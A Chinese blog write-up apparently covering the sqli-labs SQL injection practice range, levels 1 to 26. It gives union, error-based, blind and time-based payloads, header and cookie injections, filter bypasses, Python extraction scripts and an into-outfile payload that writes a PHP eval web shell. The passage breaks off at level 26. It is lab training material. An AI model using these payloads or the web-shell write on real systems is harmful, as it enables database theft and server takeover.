抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

前言

好耶✌️!从2021年立下flag的sqli-labs靶场终于给刷完了,不得不说经典永远是经典,边刷边闻到了许多CTF题的味道。去年初的时候就把前20关给刷了,后面跑去刷ctfshow和干其他事情,然后就忘了,直到去年底看到团队师傅SQL注入玩的那么溜,各种bypass waf,于是就想把基础在巩固一波~

在这里顺便安利一波 lcamry 大佬的 mysql注入天书,刷的时候发现网上许多文章也是参考他的来的,然后里面也讲的更细,也有拓展,比网上许多文章写的都好,更像是 sqli-labs 的配套 WriteUp (

环境搭建

在网站解析目录执行:

1
git clone https://github.com/Audi-1/sqli-labs.git sqli-labs

修改 sql-connections/db-creds.inc 里数据库的连接用户和密码

img

访问index.html ,点Setup/reset Database for labs 安装即可,如果有报错就根据报错解决,之后就可以愉快的玩耍啦~

mac使用mamp pro的连接数据库的一个小坑,这个要勾上

img

不然本机用客户端连不上,不知道为啥php里直接连竟然可以,而且是不用指定端口的

less-1 GET 注入

验证注入点:单引号报错,两个单引号闭合
利用闭合方式:' <payload> --+

获取本表中的字段,到4刚刚好报错

1
id=2' order by 4 --+

img

  • 关于 ----+

疑问:-- 在sql语句中起到注释的作用,按理说----+ 作用是一样才对
看法:PHP 在接收接收参数时,会对参数进行一次urldecode

img

如我们在浏览器地址栏输入网址时,会调用类似strip的函数去除首尾的空格,例如下图是可以正常访问的

img

所以,如果后面如果原本接着字符,以这个举例子是 --'   那么这就是三个字符,后面没有字符 就不是 -- ' 这样,MySQL是不会把它解析为注释符号的。 但 URL 里 不能 --  因为会被浏览器之类的替换为空,所以把空格编码一下就是 + 啦!

当然这是 get 请求的情况,如果是 post 请求(且Content-Type不为x-www-form-urlencoded或与这个Content-Type类似效果),加 + 就有问题了, + 还是 +,而不是空格的URL编码,此时应把+替换为%20,urldecode后就是空格啦。经测试,一般出现在 HTTP头里的 + 会被 urldecode 为空格

然后 ----+ 在MySQL中是不一样的, -- 才是注释,--+ 不是注释,
img
观察4种情况

  • 第1种正常,注释后面为空
  • 第2种异常,--+ 并非注释,MySQL无法解析,从而抛出异常
  • 第3种异常,-- 注释后面如果还有字符,需要加空格
  • 第4种正常

所以一般 -- 后面都有个 + 或者空格,防止后面拼接了字符

当然常用的注释还有 #
img
这种注释就不用担心 -- 后面有没有紧接着字符啦。

获取本表回显至前端的第x个字段

为接下来的union注入做准备:

union注入时,我们虽然可以通过注入获得想要的信息,但这些信息必须能够回显。例如本例有3个字段,这些字段不是都显示在网页前端的,只有第2和3个字段的查询结果会回显。

因此我们需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与回显的通道。这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如version(),database()),当数据爆破成功后,就会在窗口显示我们想要的结果。

当然这里的 1,2,3 是可以换的,只要自己能辨认出来即可

1
id=1' and 1=2 union select 1,2,3 --+

img
可知会回显的为第2和第3个字段

  • 关于 and 1=2

使用 and 1=2 是为了让本应正常输出的字段出错,然后达到我们的目的。

例如本例中只能输出一行,但我们需要通过正常查询来闭合,但我们想知道输出的是哪些字段,会被正常输出的所屏蔽。如正常查询:
img

为达到目的我们需要:
img

数据库中的返回结果:
img

获取一下数据库和版本

1
id=1' and 1=2 union select 1,version(),database() --+

img

获取所有数据库名

1
select * from information_schema.schemata

img

1
2
3
4
id=1' and 1=2 union select 1,
(select group_concat(schema_name) from
information_schema.schemata),
3 --+

获取security库所有表名

1
select * from information_schema.tables where table_schema='security'

img

1
2
3
4
id=1' and 1=2 union select 1,
(select group_concat(table_name) from
information_schema.tables where table_schema='security'),
3 --+

爆破security库users表列名

1
2
3
4
id=1' and 1=2 union select 1,
(select group_concat(column_name) from
information_schema.columns where table_name='users'),
3 --+

爆破security库users表数据

1
2
3
id=1' and 1=2 union select 1,
(select group_concat(username) from security.users),
(select group_concat(password) from security.users) --+

img

less-2 GET 注入

验证注入点:单引号报错,不用闭合可执行 SQL语句
利用闭合方式:<payload>

与第一关基本一样,就 id 不用闭合
img

直接插入SQL语句即可

猜字段

1
id=1 order by 4 --+

img

回显字段位置

1
id=1 and 1=2 union select 1,2,3 --+

img

数据库和版本

1
id=1 and 1=2 union select 1,version(),database() --+

img

获取所有数据库名

1
2
3
id=1 and 1=2 union select 1,
(select group_concat(schema_name) from information_schema.schemata),
3 --+

img

获取security库所有表名

1
2
3
id=1 and 1=2 union select 1,
(select group_concat(table_name) from information_schema.tables where table_schema='security'),
3 --+

img

爆破security库users表列名

1
2
3
id=1 and 1=2 union select 1,
(select group_concat(column_name) from information_schema.columns where table_name='users'),
3 --+

img

爆破security库users表数据

1
2
3
id=1 and 1=2 union select 1,
(select group_concat(username) from security.users),
(select group_concat(password) from security.users) --+

img

less-3 GET 注入

验证注入点:单引号报错,两个单引号闭合
利用闭合方式:') <payload> --+

也是闭合符号不一样
img

猜字段

1
1') order by 4 --+

img

爆破数据

1
2
3
id=1') and 1=2 union select 1,
(select group_concat(username) from security.users),
(select group_concat(password) from security.users) --+

img

less-4 GET 注入

验证注入点:双引号报错,两个双引号闭合
利用闭合方式:") <payload> --+

也是闭合符号不一样

img

猜字段

1
id=1")  order by 4 --+

img

爆破数据

1
2
3
id=1") and 1=2 union select 1,
(select group_concat(username) from security.users),
(select group_concat(password) from security.users) --+

img

Less-5 GET 报错注入

验证注入点:单引号报错,两个单引号闭合
利用闭合方式:' <payload> --+
考察点:报错注入

通过floor报错 最多回显 64 个字符

推荐阅读:https://blog.csdn.net/weixin_45146120/article/details/100062786 ,报错原理讲的很好!

1
2
3
4
5
union select count(*),0,
concat(0x3a,
(<payload>),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

获取数据库

1
2
3
id=1' union select count(*),0,
concat(0x3a,(select database()),0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

img

执行多条语句

1
2
3
4
5
id=1' union select count(*),0,
concat(0x3a,
(select concat(version,0x3a,database(),0x3a,user(),0x3a)),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

img

获取表名

1
2
3
4
id=1' union select count(*),0,
concat(0x3a,
(select group_concat(table_name) from information_schema.tables where table_schema='security'),
0x3a,floor(rand(0)*2))

img

获取列名

1
2
3
4
5
id=1' union select count(*),0,
concat(0x3a,
(select group_concat(column_name) from information_schema.columns where table_name='users'),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

img

从这里可以看出,使用floor报错最多能输出 64 个字符

img

获取数据

1
2
3
4
5
id=1' union select count(*),0,
concat(0x3a,
(select username from users limit 1),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

img

不是很能理解,为什么这里用 group_concat 不行

1
2
3
4
5
id=1' union select count(*),0,
concat(0x3a,
(select group_concat(username,password) from users),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

通过 updatexml 报错 最多回显 32 个字符

报错说明:https://www.cnblogs.com/vspiders/p/7400415.html

1
and updatexml(1,concat(0x7e,(<payload>),0x7e),1) --+

获取数据库

1
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

img

获取数据

1
id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1) --+

img

由此可以看出,使用floor报错最多能输出 32 个字符

img

通过 ExtractValue 报错 最多回显 32 个字符

报错说明:https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

1
and ExtractValue(1, concat(0x7e,(<payload>),0x7e)) --+

获取数据库

1
id=1' and ExtractValue(1, concat(0x7e,(select database()),0x7e)) --+

img

获取数据

1
id=1' ExtractValue(1, concat(0x7e,(select group_concat(id,username, password) from users),0x7e)) --+

img

由此可以看出,使用 ExtractValue 报错最多能输出 32 个字符
image.png

img

Less-6 GET 报错注入或布尔盲注

验证注入点:双引号报错,两个双引号闭合
利用闭合方式:" <payload> --+

就闭合方式和 Less-5 不一样外,其余都一样

获取数据

1
2
3
4
5
id=1" union select count(*),0,
concat(0x3a,
(select username from users limit 1),
0x3a,floor(rand(0)*2))
as a from information_schema.tables group by a --+

img

Less-7 GET 注入写 shell

验证注入点:单引号报错,两个单引号闭合
利用闭合方式:')) <payload> --+

根据靶场首页的题目名字,是想让我们试试写shell

写 Shell 即 MySQL 需要对外写文件,但默认 MySQL 是不允许使用 outfile 来导出数据的,先手动在 MySQL 确认一下。

1
show global variables like '%secure%';

img

参考这里:https://www.cnblogs.com/lyxsalyd/p/11955988.html

MYSQL的特性 secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。

1
2
3
4
5
6
7
8
9
10
secure-file-priv参数是用来限制LOAD DATA,SELECT ...OUTFILE,and LOAD_FILE()传到哪个指定目录的

当secure_file_priv的值为null,表示限制mysqld不允许导入|导出
当secure_file_prv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

然后重启mysql

写 Shell

1
id=1')) union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile '/Applications/MAMP/htdocs/sqli-labs/Less-7/tari.php' --+

这里有个小注意事项,不能直接把 <?php eval($_POST['pwd']);?> 转 16 进制,因为 <?php eval 之间的空格不会保留的。因此要手动加上 20 空格,不然写的 shell 会是 <?phpeval 这样的。

img

报错不要紧因为这个语句值返回空

img

看一波这个目录就知道成功写进去了
image.png

img

Less-8 GET 布尔盲注

验证注入点:单引号无回显,两个单引号闭合
利用闭合方式:' <payload> --+

数据库长度

1
id=1' and length(database()) = 8 --+

数据库名 security

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
id=1' and ascii(substr((select database()),1,1)) = 115 --+

id=1' and ascii(substr((select database()),2,1)) = 101 --+

id=1' and ascii(substr((select database()),3,1)) = 99 --+

id=1' and ascii(substr((select database()),4,1)) = 117 --+

id=1' and ascii(substr((select database()),5,1)) = 114 --+

id=1' and ascii(substr((select database()),6,1)) = 105 --+

id=1' and ascii(substr((select database()),7,1)) = 116 --+

id=1' and ascii(substr((select database()),8,1)) = 121 --+

注意这里的 substr((select database()),1,1) 第一个参数必须带括号,因为 select 语句返回元组的形式,如果没有括号,则其结果的参数均会作为 substr 的参数代入,从而会报错。

获取第一个表的长度,并获取表名 emails

img

1
2
3
4
5
6
7
8
9
10
11
12
13
id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 109 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)) = 97 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)) = 105 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)) = 108 --+

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)) = 115 --+

获取表数据字段 分别是 2,8

1
2
3
id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1) = 2 --+

id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 1,1) = 8 --+

img

获取字段名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# id
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)) = 100 --+

# email_id
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)) = 101 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),2,1)) = 109 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),3,1)) = 97 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),4,1)) = 105 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),5,1)) = 108 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),6,1)) = 95 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),7,1)) = 105 --+

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),8,1)) = 100 --+

获取数据

查询表的字段个数

1
id=1' and (select count(*) from emails) = 8 --+

获取第一个字段数据长度

1
id=1' and (select length(email_id) from emails limit 0,1) = 16 --+

获取第一个字段数据

1
2
# 第一个字段第一个字母是 D
id=1' and ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 --+

写个脚本获取这个字段所以 16 个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

def get_data():
result = ""
url_template = "http://localhost:8890/sqli-labs/Less-8/?id=1' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度等于 831 就中了
if length > 830:
result += char
print(result)
break

get_data()

img

Less-9 GET 时间盲注

验证注入点:' and sleep(5) --+
利用闭合方式:' <payload> --+

无法查看页面返回情景,所以查询语句正确时,需要通过流程控制来判断进行时间延迟输出判断。

MySQL的 if
if(表达式,真,假)

img

利用 and 语句的特性,当有一个为假时,后面不用判断

1
id=1' and <payload> and if(1=1, sleep(5), null) --+

例如猜数据库长度

1
id=1' and (length(database())) = 8 and if(1=1, sleep(5), null) --+

数据库名第一个字母 s

1
id=1' and ascii(substr((select database()),1,1)) = 115 and if(1=1, sleep(5), null) --+

查询表字段数

1
id=1' and (select count(*) from emails) = 7 and if(1=1, sleep(5), null) --+

和 Less-8 获取的数据一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time
import requests

def get_data():
result = ""
url_template = "http://localhost:8890/sqli-labs/Less-9/?id=1' and ascii(substr((select email_id from emails limit 0,1),{0},1))={1} and if(1=1, sleep(5), null) --+"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
time_start = time.time()
_ = requests.get(url)
time_diff = time.time() - time_start
# 返回时间 > 5s
if time_diff > 5:
result += char
print(result)
break

get_data()

img

Less-10 GET 时间盲注

验证注入点:" and sleep(5) --+
利用闭合方式:" <payload> --+

获取 Less-8 的数据脚本需要改动的地方:

1
url_template = "http://localhost:8890/sqli-labs/Less-10/?id=1\" and ascii(substr((select email_id from emails limit 0,1),{0},1))={1} and if(1=1, sleep(5), null) --+"

这里在介绍另外一种时间盲注方法

1
2
3
4
5
select if(
(select(substr((select username from users WHERE username="Dumb" LIMIT 1), 2, 1))="u"),
sleep(2),
0
)

Less-11 POST 注入

验证注入点:单引号报错,两个单引号闭合
利用闭合方式:admin' <payload> #&passwd=1

如果用 admin' -- 注意 -- 后面有个空格,或者 --+ 也可以,保证HTTP请求包的 Content-Type 是 x-www-form-urlencoded 或Content-Type起到效果类似即可,因为这样包发出时会对POST请求体部分进行url编码。

获取列数

1
uname=admin' order by 2#&passwd=1

img

爆破数据

1
2
3
4
5
6
7
8
9
10
11
# 库
uname=admin' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)#&passwd=1

# 表
uname=admin' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=1

# 字段
uname=admin' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1

# 数据
uname=admin' and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=1

img

Less-12 POST

验证注入点:双引号报错,两个双引号闭合
利用闭合方式:admin") <payload> #&passwd=1

获取列数

1
uname=admin") order by 2#&passwd=1

爆破数据

1
2
3
4
5
6
7
8
9
10
11
# 库
uname=admin") and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)#&passwd=1

# 表
uname=admin") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=1

# 字段
uname=admin") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=1

# 数据
uname=admin") and 1=2 union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #&passwd=1

img

Less-13 POST 报错注入

验证注入点:单引号报错,两个单引号闭合
利用闭合方式:uname=admin') <payload> #&passwd=1

获取数据库

1
uname=admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1

img

获取数据

1
2
3
4
5
6
7
8
9
10
# 表
uname=admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #&passwd=1

# 字段
uname=admin') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 3,1),0x7e),1) #&passwd=1
uname=admin') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 4,1),0x7e),1) #&passwd=1
uname=admin') and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 5,1),0x7e),1) #&passwd=1

# 数据
uname=admin') and updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) #&passwd=1

img

Less-14 POST 报错注入

验证注入点:双引号报错,两个双引号闭合
利用闭合方式:uname=admin" <payload> #&passwd=1

获取数据

1
uname=admin" and updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) #&passwd=1

img

Less-15 POST 布尔盲注

验证注入点:万能密码登录成功 → uname=0x74617269’ or 1=1 #&passwd=1
利用闭合方式:uname=admin' <payload> #&passwd=1
要确保 0x74617269 是不存在的,因为用的是 or, 如果 uname 是存在的就用 and

获取数据库长度

1
uname=0x74617269' or length(database()) = 8 #&passwd=1

获取数据

查询表的字段个数

1
uname=0x74617269' or (select count(*) from emails) = 8 #&passwd=1

获取第一个字段数据长度

1
uname=0x74617269' or (select length(email_id) from emails limit 0,1) = 16 #&passwd=1

获取第一个字段数据

1
2
# 第一个字段第一个字母是 D
uname=0x74617269' or ascii(substr((select email_id from emails limit 0,1),1,1)) = 68 #&passwd=1

写个脚本获取这个字段所有 16 个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

def get_data():
result = ""
url = "http://localhost:8890/sqli-labs/Less-15/"
data_template = {
'uname': '0x74617269\' or ascii(substr((select email_id from emails limit 0,1),{0},1)) = {1} #',
'passwd': '1'
}

data = {
'uname': '',
'passwd': '1'
}

chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
data['uname'] = data_template['uname'].format(i,char_ascii)
response = requests.post(url, data)
length = len(response.text)
#返回的长度等于 1447 就中了
if length > 1447:
result += char
print(result)
break

get_data()

img

Less-16 POST 布尔盲注

验证注入点:万能密码登录成功 → uname=admin”) or 1=1#&passwd=1
利用闭合方式:uname=0x74617269") <payload> #&passwd=1
获取数据库长度

POST

1
uname=0x74617269") or length(database()) = 8 #&passwd=1

获取第一个字段数据 16 个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

def get_data():
result = ""
url = "http://localhost:8890/sqli-labs/Less-16/"
data_template = {
'uname': '0x74617269") or ascii(substr((select email_id from emails limit 0,1),{0},1)) = {1} #',
'passwd': '1'
}

data = {
'uname': '',
'passwd': '1'
}

chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
data['uname'] = data_template['uname'].format(i,char_ascii)
response = requests.post(url, data)
length = len(response.text)
#返回的长度等于 1504 就中了
if length > 1503:
result += char
print(result)
break

get_data()

Less-17 UPDATE 报错注入

uname 输入点被转义,update需要一个存在的用户,即 uname 必须是在数据库中存在的。
注入点在 passwd 字段
验证注入点:uname=admin&passwd=1’
利用闭合方式:uname=Dhakkan&passwd=1' <payload> #

POST

1
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

正常报错注入获取数据库
img

但在获取数据就有点问题了

POST

1
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#

img

报错: You can’t specify target table ‘users’ for update in FROM clause
参考:https://blog.csdn.net/fdipzone/article/details/52695371

在 MySQL 中,不能在同一个sql语句中,先select同一个表的某些值,然后再update这个表。
但 select 的结果可以再通过一个中间表 select 多一次,就可以避免这个错误。
顺便还明白了,为什么 sqlmap 的 payload 中那么多个 as

因此重新构造

POST

1
2
3
uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,
(select concat(id,username,password) from (select * from users limit 0,1) as res)
,0x7e),1)#

获取成功

img

Less-18 HTTP头UA INSERT 报错注入

需要正确的帐号密码
验证注入点:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.36'
利用闭合方式:1’ AND  AND ‘

PHP 里用来获取客户端 IP 的变量

  • $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
  • $_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。
  • $_SERVER['REMOTE_ADDR'],客户端不能伪造。

不过这里有个很奇怪的地方

payload

1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.361' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) AND '

即 默认UA + 利用,但非预期内报错

1
Truncated incorrect DOUBLE value: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.361'

img

把 UA 换成数字,不一定是1,0以外的数字基本都可以
可以成功利用报错注入

payload

1
User-Agent: 1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) AND '

img

但如果把 1 换成 0,就什么都不输出了。

img

也就是说,UA ' 前包含 正负数字以外 的都不行
不是很理解为啥
爆破数据

1
User-Agent: 1' AND updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) AND '

Less-19 HTTP头Referer INSERT 报错注入

需要正确的帐号密码
验证注入点:Referer: http://sqli-labs:8890/sqli-labs/Less-19/'
利用闭合方式:Referer: http://sqli-labs:8890/sqli-labs/Less-19/‘ AND  AND ‘

爆破数据

1
Referer: 9' AND updatexml(1,concat(0x7e,(select concat(id,username,password) from users limit 0,1),0x7e),1) AND '

Less-20 HTTP头Cookie 联合注入

验证注入点:Cookie: uname=123'
利用闭合方式:Cookie: uname=123'#

可以直接用联合注入

提取本表字段,到 4 刚刚好报错

1
Cookie: uname=123' and 1=2 order by 4#

获取表

1
Cookie: uname=123' and 1=2 union select 1,(select group_concat(table_name separator 0x3c62723e) from information_schema.tables where table_schema=database()),3#

获取字段

1
Cookie: uname=123' and 1=2 union select 1,(select group_concat(column_name separator 0x3c62723e) from information_schema.columns where table_name='users'),3#

获取数据

1
Cookie: uname=123' and 1=2 union select 1,(select group_concat(username separator 0x3c62723e) from security.users),(select group_concat(password separator 0x3c62723e) from security.users)#

img

Less-21 Dump into outfile

验证注入点:Cookie: uname=MSc=
(其中 MSc=1' 的 base64编码)
利用闭合方式:Cookie: uname=MScpIG9yIDE9MSAj
(其中 MScpIG9yIDE9MSAj1') or 1=1 # 的 base64编码 )

注意事项

这里不能直接用 –+ ,因为是经过base64编码传输的,解码后传入数据库执行的是 –+,并不会转换为 –空格, –+ MySQL是不认识的,会报错

先判断表字段数,3正常,4报错

1
1') order by 4#

因后端有base64解码,所以需要编码

1
MScpIG9yZGVyIGJ5IDQj

写文件

1
1') union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile '/Users/tari/Sites/tari_local/sqli-labs/Less-21/tari.php'#

base64编码

1
MScpIHVuaW9uIHNlbGVjdCBudWxsLDB4M2MzZjcwNjg3MDIwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMjc3MDc3NjQyNzVkMjkzYjNmM2UsbnVsbCBpbnRvIG91dGZpbGUgJy9Vc2Vycy90YXJpL1NpdGVzL3RhcmlfbG9jYWwvc3FsaS1sYWJzL0xlc3MtMjEvdGFyaS5waHAnIw==

报错不要紧因为这个语句值返回空

img可以正常利用
img

Less-21 Cookie联合注入

注入点、闭合方式和判断表字段数同 Less-21 Dump into outfile 一致
这里尝试获取数据,与 Less-20 类似,不过要base64编码一下,然后闭合方式不一样

获取数据

1
1') and 1=2 union select 1,(select group_concat(username separator 0x3c62723e) from security.users),(select group_concat(password separator 0x3c62723e) from security.users)#

base64编码一下

1
Cookie: uname=MTIzJykgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSBzZXBhcmF0b3IgMHgzYzYyNzIzZSkgZnJvbSBzZWN1cml0eS51c2VycyksKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQgc2VwYXJhdG9yIDB4M2M2MjcyM2UpIGZyb20gc2VjdXJpdHkudXNlcnMpIw==

![](/img/sqli-labs/Pasted image 20210703153244.png)

可以尝试使用 sqlmap base64encode tamper

1
2
sqlmap -u "http://tari.local:8890/sqli-labs/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

  • --flush-session 选项是清除本地的缓存,因为sqlmap扫描结果会在本地缓存,然后下次扫描如果存在缓存会直接调用已扫描的结果。

Less-22 Cookie联合注入

验证注入点:Cookie: uname=MTIzIg==
(其中 MTIzIg==1" 的 base64编码)
利用闭合方式:Cookie: uname=MTIzIiBvciAxPTEj
(其中 MTIzIiBvciAxPTEj123" or 1=1# 的 base64编码 )

利用方式和Less-21类似,只不过闭合方式不同

判断表字段个数,3正常,4报错

1
1" order by 4#

base64编码一下

1
Cookie: uname=MSIgb3JkZXIgYnkgNCM=

获取数据

1
1" and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3#

base64编码一下

1
Cookie: uname=MSIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCBzZXBhcmF0b3IgMHgzYzYyNzIzZSkgZnJvbSBzZWN1cml0eS51c2VycyksMyM=

![](/img/sqli-labs/Pasted image 20210703164129.png)

突然发现好像数据都连在一起了,通过 concat 加个间隔符

1
1" and 1=2 union select 1,(select group_concat(concat_ws(0x3a, username,password) separator 0x3c62723e) from security.users),3#

![](/img/sqli-labs/Pasted image 20210703164423.png)
舒服了~

Less-23 GET注入 过滤注释符

验证注入点:id=1’

利用闭合方式:?id=1’ and 1=2 union select 1,2,3 ‘

因为本关过滤了注释符,其他都差不多

1
2
3
4
5
6
<?php
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

只要通过单引号把后面闭合了即可,获取数据

1
?id=1' and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users) '

Less-24 二次注入

本关卡数据入参都有通过 mysql_real_escape_string 进行转义,本站提供了注册、登陆、登陆后修改密码功能

关键代码 pass_change.php

1
2
3
4
5
6
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
....

虽然SQL特殊字符被转义了,但如果注册时用户名是 admin'#,那么登陆这个修改密码执行的 SQL 语句就是

1
UPDATE users SET PASSWORD='$pass' where username='admin'#' and ....

则直接修改 admin 的密码,就能直接登陆管理员账号了

Less-25 双写绕过or和and

验证注入点:id=1’

利用闭合方式:?id=1’ anandd 1=2 union select 1,2,3 ‘

这关会把 orand 替换为空,通过双写绕过即可,或者通过等价符合 &&|| 绕过

获取数据

1
?id=1' anandd 1=2 union select 1,2,(select group_concat(username,passwoorrd separatoorr 0x3c62723e) from security.users) '

Less-25a 双写绕过or和and

验证注入点:?id=1%20anandd%20sleep(5)%20#

利用闭合方式:?id=1 anandd 1=2 union select 1,2,3 #

与Less-25一致,只是闭合方式不一样

获取数据

1
?id=1 anandd 1=2 union select 1,2,(select group_concat(username,passwoorrd separatoorr 0x3c62723e) from security.users)

Less-26 空格绕过

验证注入点:id=1’

利用闭合方式:?id=1%27%0banandd%0b1=2%0bunion%0bselect%0b1,2,3%0b%27

除了Less-23 Less-25 过滤的,还过滤了空格,空格可以通过以下符号代替

符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格(和普通空格不一样)

试了一下,最终只有 %0b%a0 是可用的,注意,%a0我在mac(10.15.7)上用不了

获取数据

1
